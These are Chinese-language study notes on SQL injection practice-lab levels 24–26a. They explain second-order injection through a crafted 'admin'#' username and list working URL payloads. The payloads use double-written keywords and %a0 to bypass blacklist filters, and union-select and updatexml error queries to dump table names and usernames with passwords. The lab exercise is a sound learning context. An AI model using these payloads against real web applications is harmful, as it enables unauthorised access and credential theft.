lesson24_26a
lesson 24 second order injection(二次注入)
第一步:插入恶意数据
第一次进行数据库插入数据的时候 ,仅仅对其中的特殊符号进行转移,在写入数据库的时候还是保留的原来的数据,但是数据本身包含恶意内容。
第二步:引用恶意数据
在将数据存入数据库后,开发者认为数据是可信的,在下一次需要进行的查询的时候,直接从数据库中提取出恶意的数据,没有进行进一步的审查和处理,就会造成sql的二次注入

一开始有一个普通用户

账号:admin
密码:admin
然后我们(黑客)注册一个新的账号

账号:admin’#
密码:123456
然后登入修改密码。

然后当我们用admin的帐号登入时,发现密码被恶意修改了

这里就是在我们用admin‘#的账号修改密码时,数据库提取我们的恶意数据没有进行转意使得原本用来修改密码的语句:
UPDATE users SET PASSWORD=’$pass’ where username=’admin’#’ and password=’&curr_pass’
变成了
UPDATA users SET PASSWORD=’$pass’ where username=’admin’
导致密码被修改。。。。
lesson25
黑名单里面 ‘or’ ‘and’被过滤了

用双写来绕过
数据库
?id=-1’ union select 1,database(),3 anandd ‘1’=’1

表
?id=-1’ union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=’security’),3 anandd ‘1’=’1

列
?id=-1’ union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name=’users’),3 anandd ‘1’=’1

字段
?id=-1’ union select 1,(select group_concat(concat_ws(‘@@’,id,username,passwoorrd))from users),3 anandd ‘1’=’1

PS:information和password里面都有or要双写。
lesson 25a
与上一关相同
同样的黑名单过滤了or和and
就是闭合不同。。。
lesson26

查库
?id=1’||updatexml(1,concat(0x7e,(database())),1)||’1’=’1

查表
?id=1’||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=’security’))),1)||’1’=’1

查列
?id=1’||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=’users’))),1)||’1’=’1

字段
?id=1’||updatexml(1,concat(0x7e,(select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) )),1)||’1’=’1

%a0也可以充当空格,注释符可以用;%00或者||’1’=’1
lesson 26a
黑名单一样只是闭合多了括号
因为没有报错信息,所以我们只能用联合查询
黑名单中对空格做了过滤,所以我们可以用%a0来代替空格
基本与lesson26相同
?id=1’) %a0 union %a0 select%a0 1,2,3 || (‘1’)=(‘1